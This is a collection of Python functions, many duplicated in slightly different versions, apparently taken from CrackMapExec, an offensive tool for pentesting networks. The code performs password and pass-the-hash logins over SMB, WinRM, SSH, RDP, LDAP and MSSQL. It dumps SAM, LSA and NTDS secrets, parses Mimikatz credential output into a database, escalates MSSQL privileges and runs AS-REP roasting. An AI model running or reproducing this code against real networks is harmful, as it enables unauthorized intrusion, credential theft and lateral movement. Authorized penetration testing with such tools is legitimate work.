def plaintext_login(self, domain, username, password): try: self.conn.login(username, password, domain) self.password = password self.username = username self.domain = domain self.check_if_admin() self.db.add_credential('plaintext', domain, username, password) if self.admin_privs: self.db.add_admin_user('plaintext', domain, username, password, self.host) out = u'{}\\{}:{} {}'.format( domain, username, password, highlight('({})'.format(self.config.get('CME', 'pwn3d_label') ) if self.admin_privs else '')) self.logger.success(out) if not self.args.continue_on_success: return True except SessionError as e: error, desc = e.getErrorString() self.logger.error(u'{}\\{}:{} {} {}'.format( domain, username, password, error, '({})'.format(desc) if self.args.verbose else '')) if error == 'STATUS_LOGON_FAILURE': self.inc_failed_login(username) return False
def kerberos_login(self, aesKey, kdcHost): # dirty code to check if user is admin but pywerview does not support kerberos auth ... error = '' try: self.conn.kerberosLogin('', '', self.domain, self.lmhash, self.nthash, aesKey, kdcHost) # self.check_if_admin() # currently pywerview does not support kerberos auth except SessionError as e: error = e try: self.conn.connectTree("C$") self.admin_privs = True except SessionError as e: pass if not error: out = u'{}\\{} {}'.format(self.domain, self.conn.getCredentials()[0], highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')) self.logger.success(out) return True else: self.logger.error(u'{} {} {}'.format(self.domain, error, '({})'.format(desc) if self.args.verbose else '')) return False # check https://github.com/byt3bl33d3r/CrackMapExec/issues/321 if self.signing: try: self.conn.logoff() except: pass self.create_conn_obj()
def plaintext_login(self, domain, username, password): try: self.conn = pywinrm.Session(self.host, auth=('{}\\{}'.format(domain, username), password), transport='ntlm', server_cert_validation='ignore') # TO DO: right now we're just running the hostname command to make the winrm library auth to the server # we could just authenticate without running a command :) (probably) self.conn.run_cmd('hostname') self.admin_privs = True self.logger.success(u'{}\\{}:{} {}'.format(self.domain.decode('utf-8'), username.decode('utf-8'), password.decode('utf-8'), highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else ''))) return True except Exception as e: self.logger.error(u'{}\\{}:{} "{}"'.format(self.domain.decode('utf-8'), username.decode('utf-8'), password.decode('utf-8'), e)) return False
def sam(self): self.enable_remoteops() host_id = self.db.get_computers(filterTerm=self.host)[0][0] def add_sam_hash(sam_hash, host_id): add_sam_hash.sam_hashes += 1 self.logger.highlight(sam_hash) username,_,lmhash,nthash,_,_,_ = sam_hash.split(':') self.db.add_credential('hash', self.hostname, username, ':'.join((lmhash, nthash)), pillaged_from=host_id) add_sam_hash.sam_hashes = 0 if self.remote_ops and self.bootkey: #try: SAMFileName = self.remote_ops.saveSAM() SAM = SAMHashes(SAMFileName, self.bootkey, isRemote=True, perSecretCallback=lambda secret: add_sam_hash(secret, host_id)) self.logger.success('Dumping SAM hashes') SAM.dump() SAM.export(self.output_filename) self.logger.success('Added {} SAM hashes to the database'.format(highlight(add_sam_hash.sam_hashes))) #except Exception as e: #self.logger.error('SAM hashes extraction failed: {}'.format(e)) try: self.remote_ops.finish() except Exception as e: logging.debug("Error calling remote_ops.finish(): {}".format(e)) SAM.finish()
def on_response(self, context, response): response.send_response(200) response.end_headers() length = int(response.headers.getheader('content-length')) data = response.rfile.read(length) #We've received the response, stop tracking this host response.stop_tracking_host() dc_count = 0 if len(data): buf = StringIO(data).readlines() for line in buf: if line != '\r\n' and not line.startswith('Name') and not line.startswith('---'): try: hostname, domain, ip = filter(None, line.strip().split(' ')) hostname = hostname.split('.')[0].upper() domain = domain.split('.')[0].upper() context.log.highlight('Hostname: {} Domain: {} IP: {}'.format(hostname, domain, ip)) context.db.add_computer(ip, hostname, domain, '', dc=True) dc_count += 1 except Exception: context.log.error('Error parsing Domain Controller entry') context.log.success('Added {} Domain Controllers to the database'.format(highlight(dc_count))) log_name = 'Get_NetDomainController-{}-{}.log'.format(response.client_address[0], datetime.now().strftime("%Y-%m-%d_%H%M%S")) write_log(data, log_name) context.log.info("Saved raw output to {}".format(log_name))
def plaintext_login(self, username, password): try: if self.args.key_file: passwd = password password = u'{} (keyfile: {})'.format(passwd, self.args.key_file) self.conn.connect(self.host, port=self.args.port, username=username, passphrase=passwd, key_filename=self.args.key_file, look_for_keys=False, allow_agent=False) else: self.conn.connect(self.host, port=self.args.port, username=username, password=password, look_for_keys=False, allow_agent=False) self.check_if_admin() self.logger.success(u'{}:{} {}'.format( username, password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8, highlight('({})'.format(self.config.get('CME', 'pwn3d_label') ) if self.admin_privs else ''))) if not self.args.continue_on_success: return True except Exception as e: self.logger.error(u'{}:{} {}'.format( username, password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8, e)) self.client_close() return False
def lsa(self): self.enable_remoteops() def add_lsa_secret(secret): add_lsa_secret.secrets += 1 self.logger.highlight(secret) add_lsa_secret.secrets = 0 if self.remote_ops and self.bootkey: SECURITYFileName = self.remote_ops.saveSECURITY() LSA = LSASecrets(SECURITYFileName, self.bootkey, self.remote_ops, isRemote=True, perSecretCallback=lambda secretType, secret: add_lsa_secret(secret)) self.logger.success('Dumping LSA secrets') LSA.dumpCachedHashes() LSA.exportCached(self.output_filename) LSA.dumpSecrets() LSA.exportSecrets(self.output_filename) self.logger.success('Dumped {} LSA secrets to {} and {}'.format(highlight(add_lsa_secret.secrets), self.output_filename + '.secrets', self.output_filename + '.cached')) try: self.remote_ops.finish() except Exception as e: logging.debug("Error calling remote_ops.finish(): {}".format(e)) LSA.finish()
def hash_login(self, domain, username, ntlm_hash): #print 'Filename: ' + sys._getframe(0).f_code.co_filename + ' Method: ' + sys._getframe(0).f_code.co_name lmhash = '' nthash = '' if ntlm_hash.find(':') != -1: lmhash, nthash = ntlm_hash.split(':') else: nthash = ntlm_hash try: self.hash = ntlm_hash if lmhash: self.lmhash = lmhash if nthash: self.nthash = nthash self.init_self_args(domain, username, str()) out = u'{}\\{} {} {}'.format(domain.decode('utf-8'), username.decode('utf-8'), ntlm_hash, highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')) self.logger.success(out) if not self.args.continue_on_success: return True except SessionError as e: error, desc = e.getErrorString() self.logger.error(u'{}\\{} {} {} {}'.format(domain.decode('utf-8'), username.decode('utf-8'), ntlm_hash, error, '({})'.format(desc) if self.args.verbose else '')) if error == 'STATUS_LOGON_FAILURE': self.inc_failed_login(username) return False
def hash_login(self, domain, username, ntlm_hash): try: self.url = 'rdp+ntlm-nt://' + domain + '\\' + username + ':' + ntlm_hash + '@' + self.host + ':' + str(self.args.port) asyncio.run(self.connect_rdp(self.url)) self.admin_privs = True self.logger.success(u'{}\\{}:{} {}'.format(self.domain, username, ntlm_hash, highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else ''))) if not self.args.local_auth: add_user_bh(username, domain, self.logger, self.config) if not self.args.continue_on_success: return True except Exception as e: reason = None for word in rdp_error_status.keys(): if word in str(e): reason = rdp_error_status[word] self.logger.error(u'{}\\{}:{} {}'.format(domain, username, ntlm_hash, '({})'.format(reason) if reason else ''), color='magenta' if ((reason or "CredSSP" in str(e)) and reason != "STATUS_LOGON_FAILURE") else 'red') return False
def on_response(self, context, response): response.send_response(200) response.end_headers() length = int(response.headers.getheader('content-length')) data = response.rfile.read(length) #We've received the response, stop tracking this host response.stop_tracking_host() dc_count = 0 if len(data): buf = StringIO(data).readlines() for line in buf: if line != '\r\n' and not line.startswith( 'Name') and not line.startswith('---'): hostname, domain, ip = filter(None, line.strip().split(' ')) hostname = hostname.split('.')[0].upper() domain = domain.split('.')[0].upper() context.log.highlight( 'Hostname: {} Domain: {} IP: {}'.format( hostname, domain, ip)) context.db.add_computer(ip, hostname, domain, '', dc=True) dc_count += 1 context.log.success( 'Added {} Domain Controllers to the database'.format( highlight(dc_count)))
def plaintext_login(self, domain, username, password): try: from urllib3.connectionpool import log log.addFilter(SuppressFilter()) self.conn = Client(self.host, auth='ntlm', username=u'{}\\{}'.format(domain, username), password=password, ssl=False) # TO DO: right now we're just running the hostname command to make the winrm library auth to the server # we could just authenticate without running a command :) (probably) self.conn.execute_ps("hostname") self.admin_privs = True self.logger.success(u'{}\\{}:{} {}'.format(self.domain, username, password, highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else ''))) if not self.args.continue_on_success: return True except Exception as e: if "with ntlm" in str(e): self.logger.error(u'{}\\{}:{}'.format(self.domain, username, password)) else: self.logger.error(u'{}\\{}:{} "{}"'.format(self.domain, username, password, e)) return False
def on_response(self, context, response): response.send_response(200) response.end_headers() length = int(response.headers.getheader('content-length')) data = response.rfile.read(length) #We've received the response, stop tracking this host response.stop_tracking_host() dc_count = 0 if len(data): buf = StringIO(data).readlines() for line in buf: if line != '\r\n' and not line.startswith('Name') and not line.startswith('---'): try: hostname, domain, ip = filter(None, line.strip().split(' ')) hostname = hostname.split('.')[0].upper() domain = domain.split('.')[0].upper() context.log.highlight('Hostname: {} Domain: {} IP: {}'.format(hostname, domain, ip)) context.db.add_computer(ip, hostname, domain, '', dc=True) dc_count += 1 except Exception: context.log.error('Error parsing Domain Controller entry') context.log.success('Added {} Domain Controllers to the database'.format(highlight(dc_count))) log_name = 'Get_NetDomainController-{}-{}.log'.format(response.client_address[0], datetime.now().strftime("%Y-%m-%d_%H%M%S")) write_log(data, log_name) context.log.info("Saved raw output to {}".format(log_name))
def hash_login(self, domain, username, ntlm_hash): lmhash = '' nthash = '' #This checks to see if we didn't provide the LM Hash if ntlm_hash.find(':') != -1: lmhash, nthash = ntlm_hash.split(':') else: nthash = ntlm_hash try: self.hash = ntlm_hash if lmhash: self.lmhash = lmhash if nthash: self.nthash = nthash self.username = username self.domain = domain self.conn.login(username, '', domain, lmhash, nthash) self.check_if_admin() self.db.add_credential('hash', domain, username, ntlm_hash) if self.admin_privs: self.db.add_admin_user('hash', domain, username, ntlm_hash, self.host) out = u'{}\\{} {} {}'.format(domain, username, ntlm_hash, highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')) self.logger.success(out) if not self.args.continue_on_success: return True # check https://github.com/byt3bl33d3r/CrackMapExec/issues/321 if self.signing: try: self.conn.logoff() except: pass self.create_conn_obj() except SessionError as e: error, desc = e.getErrorString() self.logger.error(u'{}\\{}:{} {} {}'.format(domain, username, ntlm_hash, error, '({})'.format(desc) if self.args.verbose else ''), color='magenta' if error in smb_error_status else 'red') if error not in smb_error_status: self.inc_failed_login(username) return False if not self.args.continue_on_success: return True
def plaintext_login(self, username, password): try: self.conn.connect(self.host, port=self.args.port, username=username, password=password) self.check_if_admin() self.logger.success(u'{}:{} {}'.format(username.decode('utf-8'), password.decode('utf-8'), highlight('(Pwn3d!)') if self.admin_privs else '')) return True except Exception as e: self.logger.error(u'{}:{} {}'.format(username.decode('utf-8'), password.decode('utf-8'), e)) return False
def plaintext_login(self, username, password): try: self.conn.connect(self.host, port=self.args.port, username=username, password=password) self.check_if_admin() self.logger.success(u'{}:{} {}'.format(username.decode('utf-8'), password.decode('utf-8'), highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else ''))) return True except Exception as e: self.logger.error(u'{}:{} {}'.format(username.decode('utf-8'), password.decode('utf-8'), e)) return False
def hash_login(self, domain, username, ntlm_hash): try: from urllib3.connectionpool import log log.addFilter(SuppressFilter()) lmhash = '00000000000000000000000000000000:' nthash = '' #This checks to see if we didn't provide the LM Hash if ntlm_hash.find(':') != -1: lmhash, nthash = ntlm_hash.split(':') else: nthash = ntlm_hash ntlm_hash = lmhash + nthash self.hash = nthash if lmhash: self.lmhash = lmhash if nthash: self.nthash = nthash self.conn = Client(self.host, auth='ntlm', username=u'{}\\{}'.format(domain, username), password=ntlm_hash, ssl=False) # TO DO: right now we're just running the hostname command to make the winrm library auth to the server # we could just authenticate without running a command :) (probably) self.conn.execute_ps("hostname") self.admin_privs = True self.logger.success(u'{}\\{}:{} {}'.format(self.domain, username, self.hash, highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else ''))) if not self.args.continue_on_success: return True except Exception as e: if "with ntlm" in str(e): self.logger.error(u'{}\\{}:{}'.format(self.domain, username, self.hash)) else: self.logger.error(u'{}\\{}:{} "{}"'.format(self.domain, username, self.hash, e)) return False
def on_login(self, context, connection): # get mssql connection self.mssql_conn = connection.conn # fetch the current user self.current_username = self.get_current_username() self.current_user = User(self.current_username) self.current_user.is_sysadmin = self.is_admin() self.current_user.dbowner = self.check_dbowner_privesc() if self.action == "rollback": if not self.current_user.is_sysadmin: context.log.error(f"{self.current_username} is not sysadmin") return if self.remove_sysadmin_priv(): context.log.success("sysadmin role removed") else: context.log.success("failed to remove sysadmin role") return if self.current_user.is_sysadmin: context.log.success( f"{self.current_username} is already a sysadmin") return # build path self.perform_check(context, self.current_user) # look for a privesc path target_user = self.browse_path(context, self.current_user, self.current_user) if self.action == "privesc": if not target_user: context.log.error("can't find any path to privesc") else: exec_as = self.build_exec_as_from_path(target_user) # privesc via impersonation privilege if target_user.is_sysadmin: self.do_impersonation_privesc(self.current_username, exec_as) # privesc via dbowner privilege elif target_user.dbowner: self.do_dbowner_privesc(target_user.dbowner, exec_as) if self.is_admin_user(self.current_username): context.log.success( f"{self.current_username} is now a sysadmin! " + highlight( '({})'.format(context.conf.get('CME', 'pwn3d_label'))))
def plaintext_login(self, username, password): try: self.conn.connect(self.host, port=self.args.port, username=username, password=password) self.check_if_admin() self.logger.success(u'{}:{} {}'.format( username, password, highlight('({})'.format(self.config.get('CME', 'pwn3d_label') ) if self.admin_privs else ''))) return True except Exception as e: self.logger.error(u'{}:{} {}'.format(username, password, e)) self.client_close() return False
def hash_login(self, domain, username, ntlm_hash): lmhash = '' nthash = '' #This checks to see if we didn't provide the LM Hash if ntlm_hash.find(':') != -1: lmhash, nthash = ntlm_hash.split(':') else: nthash = ntlm_hash try: self.conn.login(username, '', domain, lmhash, nthash) self.hash = ntlm_hash if lmhash: self.lmhash = lmhash if nthash: self.nthash = nthash self.username = username self.domain = domain self.check_if_admin() self.db.add_credential('hash', domain, username, ntlm_hash) if self.admin_privs: self.db.add_admin_user('hash', domain, username, ntlm_hash, self.host) out = u'{}\\{} {} {}'.format( domain, username, ntlm_hash, highlight('({})'.format(self.config.get('CME', 'pwn3d_label') ) if self.admin_privs else '')) self.logger.success(out) if not self.args.continue_on_success: return True except SessionError as e: error, desc = e.getErrorString() self.logger.error(u'{}\\{} {} {} {}'.format( domain, username, ntlm_hash, error, '({})'.format(desc) if self.args.verbose else '')) if error == 'STATUS_LOGON_FAILURE': self.inc_failed_login(username) return False
def plaintext_login(self, domain, username, password): #print 'Filename: ' + sys._getframe(0).f_code.co_filename + ' Method: ' + sys._getframe(0).f_code.co_name try: self.password = password self.init_self_args(domain, username, password) self.logger.success(u'{}\\{}:{} {}'.format(self.domain.decode('utf-8'), username.decode('utf-8'), password.decode('utf-8'), highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else ''))) return True except Exception as e: self.logger.error(u'{}\\{}:{} "{}"'.format(self.domain.decode('utf-8'), username.decode('utf-8'), password.decode('utf-8'), e)) return False
def plaintext_login(self, domain, username, password): try: self.password = password self.username = username self.domain = domain self.conn.login(username, password, domain) self.check_if_admin() self.db.add_credential('plaintext', domain, username, password) if self.admin_privs: self.db.add_admin_user('plaintext', domain, username, password, self.host) out = u'{}\\{}:{} {}'.format(domain, username, password, highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')) self.logger.success(out) if not self.args.continue_on_success: return True elif self.signing: # check https://github.com/byt3bl33d3r/CrackMapExec/issues/321 try: self.conn.logoff() except: pass self.create_conn_obj() except SessionError as e: error, desc = e.getErrorString() self.logger.error(u'{}\\{}:{} {} {}'.format(domain, username, password, error, '({})'.format(desc) if self.args.verbose else ''), color='magenta' if error in smb_error_status else 'red') if error not in smb_error_status: self.inc_failed_login(username) return False if not self.args.continue_on_success: return True
def shutdown(self): try: while len(self.server.hosts) > 0: self.server.log.info('Waiting on {} host(s)'.format(highlight(len(self.server.hosts)))) sleep(15) except KeyboardInterrupt: pass # shut down the server/socket self.server.shutdown() self.server.socket.close() self.server.server_close() self._Thread__stop() # make sure all the threads are killed for thread in threading.enumerate(): if thread.isAlive(): try: thread._Thread__stop() except: pass
def shutdown(self): try: while len(self.server.hosts) > 0: self.server.log.info('Waiting on {} host(s)'.format( highlight(len(self.server.hosts)))) sleep(15) except KeyboardInterrupt: pass # shut down the server/socket self.server.shutdown() self.server.socket.close() self.server.server_close() # make sure all the threads are killed for thread in threading.enumerate(): if thread.is_alive(): try: thread._stop() except: pass
def on_response(self, context, response): response.send_response(200) response.end_headers() length = int(response.headers.getheader('content-length')) data = response.rfile.read(length) # We've received the response, stop tracking this host response.stop_tracking_host() if len(data): if self.command.find('sekurlsa::logonpasswords') != -1: creds = self.parse_mimikatz(data) if len(creds): for cred_set in creds: credtype, domain, username, password, _, _ = cred_set # Get the hostid from the DB hostid = context.db.get_computers( response.client_address[0])[0][0] context.db.add_credential(credtype, domain, username, password, pillaged_from=hostid) context.log.highlight('{}\\{}:{}'.format( domain, username, password)) context.log.success( "Added {} credential(s) to the database".format( highlight(len(creds)))) else: context.log.highlight(data) log_name = 'Mimikatz-{}-{}.log'.format( response.client_address[0], datetime.now().strftime("%Y-%m-%d_%H%M%S")) write_log(data, log_name) context.log.info( "Saved raw Mimikatz output to {}".format(log_name))
def on_response(self, context, response): response.send_response(200) response.end_headers() length = int(response.headers.getheader('content-length')) data = response.rfile.read(length) # We've received the response, stop tracking this host response.stop_tracking_host() if len(data): if self.command.find('sekurlsa::logonpasswords') != -1: creds = self.parse_mimikatz(data) if len(creds): for cred_set in creds: credtype, domain, username, password,_,_ = cred_set # Get the hostid from the DB hostid = context.db.get_computers(response.client_address[0])[0][0] context.db.add_credential(credtype, domain, username, password, pillaged_from=hostid) context.log.highlight('{}\\{}:{}'.format(domain, username, password)) context.log.success("Added {} credential(s) to the database".format(highlight(len(creds)))) else: context.log.highlight(data) log_name = 'Mimikatz-{}-{}.log'.format(response.client_address[0], datetime.now().strftime("%Y-%m-%d_%H%M%S")) write_log(data, log_name) context.log.info("Saved raw Mimikatz output to {}".format(log_name))
def gen_cli_args(): VERSION = '5.0.1dev' CODENAME = 'P3l1as' p_loader = protocol_loader() protocols = p_loader.get_protocols() parser = argparse.ArgumentParser( description=""" ______ .______ ___ ______ __ ___ .___ ___. ___ .______ _______ ___ ___ _______ ______ / || _ \ / \ / || |/ / | \/ | / \ | _ \ | ____|\ \ / / | ____| / | | ,----'| |_) | / ^ \ | ,----'| ' / | \ / | / ^ \ | |_) | | |__ \ V / | |__ | ,----' | | | / / /_\ \ | | | < | |\/| | / /_\ \ | ___/ | __| > < | __| | | | `----.| |\ \----. / _____ \ | `----.| . \ | | | | / _____ \ | | | |____ / . \ | |____ | `----. \______|| _| `._____|/__/ \__\ \______||__|\__\ |__| |__| /__/ \__\ | _| |_______|/__/ \__\ |_______| \______| A swiss army knife for pentesting networks Forged by @byt3bl33d3r using the powah of dank memes {}: {} {}: {} """.format(highlight('Version', 'red'), highlight(VERSION), highlight('Codename', 'red'), highlight(CODENAME)), formatter_class=RawTextHelpFormatter, #version='{} - {}'.format(VERSION, CODENAME), epilog="Ya feelin' a bit buggy all of a sudden?") parser.add_argument( "-t", type=int, dest="threads", default=100, help="set how many concurrent threads to use (default: 100)") parser.add_argument( "--timeout", default=None, type=int, help='max timeout in seconds of each thread (default: None)') parser.add_argument( "--jitter", metavar='INTERVAL', type=str, help='sets a random delay between each connection (default: None)') parser.add_argument("--darrell", action='store_true', help='give Darrell a hand') parser.add_argument("--verbose", action='store_true', help="enable verbose output") subparsers = parser.add_subparsers(title='protocols', dest='protocol', description='available protocols') std_parser = argparse.ArgumentParser(add_help=False) std_parser.add_argument( "target", nargs='*', type=str, help= "the target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets, NMap XML or .Nessus file(s)" ) std_parser.add_argument( '-id', metavar="CRED_ID", nargs='+', default=[], type=str, dest='cred_id', help='database credential ID(s) to use for authentication') std_parser.add_argument("-u", metavar="USERNAME", dest='username', nargs='+', default=[], help="username(s) or file(s) containing usernames") std_parser.add_argument("-p", metavar="PASSWORD", dest='password', nargs='+', default=[], help="password(s) or file(s) containing passwords") fail_group = std_parser.add_mutually_exclusive_group() fail_group.add_argument("--gfail-limit", metavar='LIMIT', type=int, help='max number of global failed login attempts') fail_group.add_argument( "--ufail-limit", metavar='LIMIT', type=int, help='max number of failed login attempts per username') fail_group.add_argument( "--fail-limit", metavar='LIMIT', type=int, help='max number of failed login attempts per host') module_parser = argparse.ArgumentParser(add_help=False) mgroup = module_parser.add_mutually_exclusive_group() mgroup.add_argument("-M", "--module", metavar='MODULE', help='module to use') #mgroup.add_argument('-MC','--module-chain', metavar='CHAIN_COMMAND', help='Payload module chain command string to run') module_parser.add_argument('-o', metavar='MODULE_OPTION', nargs='+', default=[], dest='module_options', help='module options') module_parser.add_argument('-L', '--list-modules', action='store_true', help='list available modules') module_parser.add_argument('--options', dest='show_module_options', action='store_true', help='display module options') module_parser.add_argument("--server", choices={'http', 'https'}, default='https', help='use the selected server (default: https)') module_parser.add_argument( "--server-host", type=str, default='0.0.0.0', metavar='HOST', help='IP to bind the server to (default: 0.0.0.0)') module_parser.add_argument("--server-port", metavar='PORT', type=int, help='start the server on the specified port') for protocol in protocols.keys(): protocol_object = p_loader.load_protocol(protocols[protocol]['path']) subparsers = getattr(protocol_object, protocol).proto_args(subparsers, std_parser, module_parser) if len(sys.argv) == 1: parser.print_help() sys.exit(1) args = parser.parse_args() return args
def main(): first_run_setup(logger) args = gen_cli_args() if args.darrell: links = open( os.path.join(os.path.dirname(cme.__file__), 'data', 'videos_for_darrell.harambe')).read().splitlines() try: webbrowser.open(random.choice(links)) except: sys.exit(1) cme_path = os.path.expanduser('~/.cme') config = configparser.ConfigParser() config.read(os.path.join(cme_path, 'cme.conf')) module = None module_server = None targets = [] jitter = None server_port_dict = {'http': 80, 'https': 443, 'smb': 445} current_workspace = config.get('CME', 'workspace') if args.verbose: setup_debug_logger() logging.debug('Passed args:\n' + pformat(vars(args))) if args.jitter: if '-' in args.jitter: start, end = args.jitter.split('-') jitter = (int(start), int(end)) else: jitter = (0, int(args.jitter)) if hasattr(args, 'cred_id') and args.cred_id: for cred_id in args.cred_id: if '-' in str(cred_id): start_id, end_id = cred_id.split('-') try: for n in range(int(start_id), int(end_id) + 1): args.cred_id.append(n) args.cred_id.remove(cred_id) except Exception as e: logger.error( 'Error parsing database credential id: {}'.format(e)) sys.exit(1) if hasattr(args, 'target') and args.target: for target in args.target: if os.path.exists(target): target_file_type = identify_target_file(target) if target_file_type == 'nmap': targets.extend(parse_nmap_xml(target, args.protocol)) elif target_file_type == 'nessus': targets.extend(parse_nessus_file(target, args.protocol)) else: with open(target, 'r') as target_file: for target_entry in target_file: targets.extend(parse_targets(target_entry.strip())) else: targets.extend(parse_targets(target)) # The following is a quick hack for the powershell obfuscation functionality, I know this is yucky if hasattr(args, 'clear_obfscripts') and args.clear_obfscripts: shutil.rmtree(os.path.expanduser('~/.cme/obfuscated_scripts/')) os.mkdir(os.path.expanduser('~/.cme/obfuscated_scripts/')) logger.success('Cleared cached obfuscated PowerShell scripts') if hasattr(args, 'obfs') and args.obfs: powershell.obfuscate_ps_scripts = True p_loader = protocol_loader() protocol_path = p_loader.get_protocols()[args.protocol]['path'] protocol_db_path = p_loader.get_protocols()[args.protocol]['dbpath'] protocol_object = getattr(p_loader.load_protocol(protocol_path), args.protocol) protocol_db_object = getattr(p_loader.load_protocol(protocol_db_path), 'database') db_path = os.path.join(cme_path, 'workspaces', current_workspace, args.protocol + '.db') # set the database connection to autocommit w/ isolation level db_connection = sqlite3.connect(db_path, check_same_thread=False) db_connection.text_factory = str db_connection.isolation_level = None db = protocol_db_object(db_connection) setattr(protocol_object, 'config', config) if hasattr(args, 'module'): loader = module_loader(args, db, logger) if args.list_modules: modules = loader.get_modules() for name, props in sorted(modules.items()): logger.info('{:<25} {}'.format(name, props['description'])) sys.exit(0) elif args.module and args.show_module_options: modules = loader.get_modules() for name, props in modules.items(): if args.module.lower() == name.lower(): logger.info('{} module options:\n{}'.format( name, props['options'])) sys.exit(0) elif args.module: modules = loader.get_modules() for name, props in modules.items(): if args.module.lower() == name.lower(): module = loader.init_module(props['path']) setattr(protocol_object, 'module', module) break if not module: logger.error('Module not found') exit(1) if getattr(module, 'opsec_safe') is False: ans = input( highlight( '[!] Module is not opsec safe, are you sure you want to run this? [Y/n] ', 'red')) if ans.lower() not in ['y', 'yes', '']: sys.exit(1) if getattr(module, 'multiple_hosts') is False and len(targets) > 1: ans = input( highlight( "[!] Running this module on multiple hosts doesn't really make any sense, are you sure you want to continue? [Y/n] ", 'red')) if ans.lower() not in ['y', 'yes', '']: sys.exit(1) if hasattr(module, 'on_request') or hasattr( module, 'has_response'): if hasattr(module, 'required_server'): args.server = getattr(module, 'required_server') if not args.server_port: args.server_port = server_port_dict[args.server] context = Context(db, logger, args) module_server = CMEServer(module, context, logger, args.server_host, args.server_port, args.server) module_server.start() setattr(protocol_object, 'server', module_server.server) try: asyncio.run( start_threadpool(protocol_object, args, db, targets, jitter)) except KeyboardInterrupt: logging.debug("Got keyboard interrupt") finally: if module_server: module_server.shutdown()
def ntds(self): self.enable_remoteops() use_vss_method = False NTDSFileName = None host_id = self.db.get_computers(filterTerm=self.host)[0][0] def add_ntds_hash(ntds_hash, host_id): add_ntds_hash.ntds_hashes += 1 self.logger.highlight(ntds_hash) if ntds_hash.find('$') == -1: if ntds_hash.find('\\') != -1: domain, hash = ntds_hash.split('\\') else: domain = self.domain hash = ntds_hash try: username,_,lmhash,nthash,_,_,_ = hash.split(':') parsed_hash = ':'.join((lmhash, nthash)) if validate_ntlm(parsed_hash): self.db.add_credential('hash', domain, username, parsed_hash, pillaged_from=host_id) add_ntds_hash.added_to_db += 1 return raise except: logging.debug("Dumped hash is not NTLM, not adding to db for now ;)") else: logging.debug("Dumped hash is a computer account, not adding to db") add_ntds_hash.ntds_hashes = 0 add_ntds_hash.added_to_db = 0 if self.remote_ops and self.bootkey: try: if self.args.ntds == 'vss': NTDSFileName = self.remote_ops.saveNTDS() use_vss_method = True NTDS = NTDSHashes(NTDSFileName, self.bootkey, isRemote=True, history=False, noLMHash=True, remoteOps=self.remote_ops, useVSSMethod=use_vss_method, justNTLM=False, pwdLastSet=False, resumeSession=None, outputFileName=self.output_filename, justUser=None, printUserStatus=False, perSecretCallback = lambda secretType, secret : add_ntds_hash(secret, host_id)) self.logger.success('Dumping the NTDS, this could take a while so go grab a redbull...') NTDS.dump() self.logger.success('Dumped {} NTDS hashes to {} of which {} were added to the database'.format(highlight(add_ntds_hash.ntds_hashes), self.output_filename + '.ntds', highlight(add_ntds_hash.added_to_db))) except Exception as e: #if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0: # We don't store the resume file if this error happened, since this error is related to lack # of enough privileges to access DRSUAPI. # resumeFile = NTDS.getResumeSessionFile() # if resumeFile is not None: # os.unlink(resumeFile) self.logger.error(e) try: self.remote_ops.finish() except Exception as e: logging.debug("Error calling remote_ops.finish(): {}".format(e)) NTDS.finish()
def plaintext_login(self, domain, username, password): self.username = username self.password = password self.domain = domain # Create the baseDN self.baseDN = '' domainParts = self.domain.split('.') for i in domainParts: self.baseDN += 'dc=%s,' % i # Remove last ',' self.baseDN = self.baseDN[:-1] if self.kdcHost is not None: target = self.kdcHost else: target = domain if self.password == '' and self.args.asreproast: hash_TGT = KerberosAttacks(self).getTGT_asroast(self.username) if hash_TGT: self.logger.highlight(u'{}'.format(hash_TGT)) with open(self.args.asreproast, 'a+') as hash_asreproast: hash_asreproast.write(hash_TGT + '\n') return False try: self.ldapConnection = ldap_impacket.LDAPConnection('ldap://%s' % target, self.baseDN, self.kdcHost) self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) #self.check_if_admin() # Connect to LDAP out = u'{}{}:{} {}'.format('{}\\'.format(domain), username, password, highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')) self.logger.success(out) if not self.args.continue_on_success: return True except ldap_impacket.LDAPSessionError as e: if str(e).find('strongerAuthRequired') >= 0: # We need to try SSL try: self.ldapConnection = ldap_impacket.LDAPConnection('ldaps://%s' % target, self.baseDN, self.kdcHost) self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) self.logger.success(out) except ldap_impacket.LDAPSessionError as e: self.logger.error(u'{}\{}:{}'.format(self.domain, self.username, self.password)) else: self.logger.error(u'{}\{}:{}'.format(self.domain, self.username, self.password)) return False except OSError as e: self.logger.error(u'{}\{}:{} {}'.format(self.domain, self.username, self.password, "Error connecting to the domain, please add option --kdcHost with the IP of the domain controller")) return False
